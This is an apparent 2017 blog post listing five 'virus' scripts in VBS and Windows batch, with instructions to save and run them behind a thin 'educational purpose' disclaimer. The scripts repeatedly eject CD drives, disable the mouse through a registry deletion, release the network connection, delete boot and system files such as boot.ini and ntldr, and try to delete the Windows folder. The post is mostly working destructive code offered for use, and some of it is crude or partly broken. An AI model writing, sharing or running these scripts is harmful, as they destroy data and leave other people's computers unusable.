Thursday, 31 August 2017

Top 5 virus codes (cmd & VBS)









.




Warning:


Some of this codes are very dangerous so be careful to use those, I am doing this just for the educational purpose, don't try to harm anyone with this code. If you did and get caught, I am not responsible for anything.


You can use any text editor like Notepad or Notepad++ More....
This is top five viruses in notepad.


1. cd drive virus(VBS):

_______________________________________________________________

After opening this virus. Your cd drive will open and close. if you restart your computer, it will back to normal

code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If

Save it as "Anyname.vbs" remember to add ".vbs" as an extension.


2. Disable mouse(cmd)

_______________________________________________________________

This will Disable mouse

code:

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------


Save it as "Anyname.bat" remember to add ".bat" as an extension.


3. Stop Internet(cmd)

_______________________________________________________________

This will stop the person's internet.

code:

@Echo off
Ipconfig /release

Save it as "Anyname.bat" remember to add ".bat" as an extension.

4. Trojan(cmd)


_______________________________________________________________


This is Harmful to your computer so recommend to not to try.

code:

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Save it as "Anyname.bat" remember to add ".bat" as an extension.


5. Crash Windows

_______________________________________________________________


Note: This is the most dangerous virus. After opening this your windows will not work anymore so please be careful.


@echo off
del C:\Windows\

This code looks small but very dangerous.

Save it as "Anyname.bat" remember to add ".bat" as an extension.(Don't Open)



No comments:

Post a Comment